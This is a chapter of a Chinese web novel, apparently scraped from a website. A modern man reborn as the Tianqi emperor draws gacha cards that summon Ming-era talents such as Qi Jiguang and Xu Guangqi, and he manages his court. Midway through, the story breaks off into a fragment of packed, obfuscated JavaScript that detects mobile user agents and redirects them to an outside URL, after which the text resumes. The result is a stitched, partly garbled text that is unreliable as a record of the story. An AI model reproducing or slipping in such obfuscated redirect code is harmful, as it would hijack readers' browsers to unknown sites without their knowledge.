除了保障优秀员工退休福利,也能顺便给后世留些乐子,啊不!留些君臣相得的佳话以便与某些伪人进行切割。 总有一天,朱笑笑要拉着自己的文武两贤臣共同入画,站位就按三国拍的刘关张初遇那样来。 我们仨,最开明的领导,最标准的将相和,最真挚的君臣鱼水情。 戚少保负责开疆扩土,张太师负责铁腕改革,朱笑笑负责坐享其成、摇旗呐喊、公然护短、挺身而出挡下流言蜚语、集齐一箱弹劾奏折召唤祝融…… 万历都能蹭上中兴,我天启怎么就不配蹭个盛世了? 盯着那三万多点工匠值,朱笑笑根本挪不开眼,心里痒得跟猫抓似的。 少说能抽三十次呢! 今天好像手气不错。 没准戚继光能把他的好朋友带出来? “皇爷。”魏忠贤的提醒把他拉回现实,“该起驾回宫了。” 朱笑笑回过神,发现自己还跪在香案前,满朝文武都等着他起身。 赶忙扶着魏忠贤的手站起来,尽量保持住天家威仪,强压激动登上銮驾。 黄幔车辇行过御道,朱笑笑坐在车里,终于没忍住抽卡玄学的诱惑,狠狠搓了搓手,怒抽十连。 熟悉的发牌画面后,金光又是一闪。 【恭喜获得:金卡·徐光启】 【徐光启,字子先,号玄扈。生于嘉靖四十一年,卒于崇祯六年。精通天文、历法、数学、农学、水利、火器。著有《农政全书》、《崇祯历书》,译《几何原本》。】 【身份生成:徐光启本人尚在世,为翰林院检讨,因丁忧在籍守制,可提前起复,三日内传旨入京。】 朱笑笑手一抖,差点把系统界面戳没了。 全能牛人!虽然疑似浪费了抽数,不过他看到规则上说系统抽出来的人物对宿主天然拥有百分百忠诚,这意味着可以直接交给他们各种匪夷所思的物品或者任务而不引起怀疑。 两次十连,金卡以外的奖励都累计展示了。 【恭喜获得:普卡·锦衣卫小旗庄甲、红夷大炮图纸(残),辽东地块土质模拟x5,宣府地块土质模拟x5,陕西地块土质模拟x5,义乌矿工招募令(三百)】 银级奖励爆了个招募令,也算给戚继光提供的初始队伍。另外这些个残卷要凑齐三十张才能拿到完整图纸,按照爆率比商城也没便宜到哪去,而模拟地块大概是被农业人才带出来的。 至于普卡的路人甲乙丙丁,朱笑笑反倒没有唯人才论的失望想法,那可是百分百忠诚啊!哪怕靠堆人数都能让他揭竿而起推翻自己再登基一回。 星星之火可以燎原! 当然前提是攒到足够的数值爆种。 朱笑笑开始上头了,眼都不眨再次豪掷十连。 【恭喜获得:水转纺车改良图纸(残),水泥配方(残),曲辕犁改良图纸(残),蒸汽机图纸(残),活字印刷术改良图纸(残),温室育苗法(残),催熟肥配方(残),新式火箭一窝蜂改良版(残),《天工开物》初稿残页,玻璃配方(残)】 哇靠。 好运气用光,朱笑笑傻眼,久违地感受到抽卡游戏的无情无耻无理取闹,都快不认识残字了。 不可能! 这天下都是朕的!朕的手气绝不可能如此之非! 我还就不信了,再来…… 不行! 朱笑笑及时刹车。 只剩一万多点存货了,得留着买更有用的东西,绝不能梭.哈!抽卡毁所有!一定要忍住,忍住! 朱笑笑咬牙切齿地把界面关掉,深吸一口气,算了算了,好歹抽到俩金卡,不亏。 他强忍剁手的欲望,为了平复心情,把目光转向銮驾外跟随的朝臣,挨个看他们脑门上蹦出的数值。 离他最近的是方从哲。 【文才:72/100,政治:65/100,悟性:68/100,忠诚:72/100,野心:45/100】 他又看了眼勋贵那边的英国公张维贤。 【武功:76/100,政治:72/100,悟性:73/100,忠诚:79/100,野心:55/100】 不错不错,还自动分科了。 都是科举上来的,大部分朝臣文才维持在七八十左右,水平差不多,少数悟性高的能突破九十大关,政治这方面却忽高忽低,十分不稳定。 这很正常,才学好的不一定有玩弄人心的手腕。 朱笑笑激动的心情平静下来,他既没才学也没手腕的就别忙着笑话别人了,先尽快扩充创业团队吧! 浙江台州府,戚家老宅。 二十来岁的年轻人一身短打正在院子里练武,刀光如雪,破空声嗖嗖作响,惊得院角的鸡扑棱棱乱飞。 “少爷!”屋里传来老人的呼喊,“别练了,京城来人了!” 年轻人收刀入鞘,露出一张棱角分明的脸,剑眉星目,英气逼人。他擦了把汗,看向匆匆跑进来的老管家。 “京城来人?什么事?” 老管家粗喘着,语气激动:“说是新皇登基,要召您入京候选!有兵部的公文!” 觉醒记忆的戚继光低头看着手中刀柄,心下不禁苦辣酸甜,感慨万千。 前世贫病中落寞离世时何曾想过还有今日? 对一个士兵来说,若是非得死,马革裹尸无疑是最光荣的结局。 见天子庸知非福?希望今生能实现两世以来的夙愿吧。 松江府上海县,法华汇徐家。 徐光启正在书房里对着一堆稿纸发愁。那是他这些日子试种番薯的记录,一亩地产量几何,需肥多少,耐旱几许,密密麻麻写了十多页。 “可惜各地土质不同,还需亲自前往当地试验才能出结果。”他叹了口气,若能全国推广,百姓无忧矣。 门外忽然传来急促脚步声,只听管家疾呼。 “老爷!老爷!天使到了!传圣上口谕。” 徐光启手一抖,笔尖墨汁落在纸上,洇开一团墨点。 “可知何事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275297|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >管家匆匆奔进来,回道:“圣上要您提前起复,入京候旨!” 徐光启愣住了,他还在丁忧呢,又不是阁臣,皇帝怎么突然想起他了? 他低头看着桌上那堆番薯种植记录,又瞧了眼京城方向,也罢!既然新皇即位,先递份奏疏建议推广试试,得让皇上重视这个好东西。 “带路。”徐光启立刻吩咐,“我要亲自面见天使,你收拾一下,只怕明日便得启程。” 想了想,他又叮嘱道:“记得摘取几袋番薯种带上,我有大用。” 乾清宫,东暖阁。 朱笑笑趴在御案上,对着一堆奏折发呆。 登基才三天,积压的奏折已经堆成山了。辽东、蓟镇、登莱……九边各地嗷嗷待哺,要钱要粮。 看不完,根本看不完。 他还要忙手工日常攒数值呢! 现在终于当家做主了,想要什么好木头都有,工作室直接原地扩建。大到床榻柜子,小到桌椅摆件,火力全开就是干,看着工匠值稳定上涨他才有安全感。 至于政务……朱笑笑痛苦地闭上眼。 如果不能拥有张居正的话,我的专业,我的外挂,我创业的蓝图还有退休躺平的未来,甚至是灵魂都会被毁了! 魏忠贤无声走进来,他装模作样地吊着左手,这可是朱笑笑特地给他刷的声望值,突然受到器重总得有个说得过去的原因,否则言官非得天天盯着他狂喷佞幸。 当然,等皇帝在位时间长了,你就是照三餐喷也没在怕的。 他放轻脚步来到御案旁低声道:“皇爷,戚元靖和徐光启都在路上了,再有几日便到。” “嗯。”朱笑笑抹了把脸,忽然想起什么,“对了,邹元标那边怎样了?” 魏忠贤表情微妙:“邹大人那日说要改丁忧制度,如今被士林骂惨了。昨儿有言官上疏弹劾他首鼠两端,阿附圣意,今早又有人弹劾他变乱祖制,蛊惑圣听。杨涟等人想替他说话,却也不敢明着帮,整个东林党乱成了一锅粥。” 朱笑笑嘴角微勾,打嘴仗好啊,不会真的伤到人,又能让东林党焦头烂额一阵,正好方便他腾出手来办正事。 “宫里的事呢?” 魏忠贤回道:“御药房内,李建元帮着安排了三个自己人。司礼监那边,王安公公还算识趣,说是愿听皇爷吩咐。神庙贵妃如今也安分了,至于李选侍……” 他轻轻打了打嘴,赔笑道:“至于光庙康妃,移居哕鸾宫后偶尔会问问娘家兄弟的事,再就是念叨皇爷您。” 朱笑笑点点头,意料之中,她是半点都想不起自己还有个女儿啊。 泰昌帝的庙号定了,是为光宗,后妃们也各有晋封。 除了李选侍,他还给傅选侍封了懿妃,让她带着朱徽妍和朱徽媞住在喈凤宫,反正一只羊也是赶两只羊也是放,姐妹俩正好作伴,朱笑笑时常过问敲打,也没人敢怠慢她们。 至于朱由检,朱笑笑仍让他住在勖勤殿。刘淑女封了惠妃,却舍不得离开儿子,反正慈庆宫空着,短时间内也蹦不出个太子来,母子俩再待几年问题不大。 皇帝尚未成婚,后宫还有些琐事需要长辈操持,李康妃这种性子是不能给她一点权力的,而郑贵妃辈分虽高,但理亏在先,也不便招摇。 好在万历虽然喜欢郑贵妃,却不耽误他找别的女人睡觉,其中有位刘昭妃向来温和守礼,就委托她暂时代管了。 朱笑笑随手拿起一本奏折,并不打开,冲魏忠贤招了招,示意他靠近。 “秘书处运转得还顺利吗?”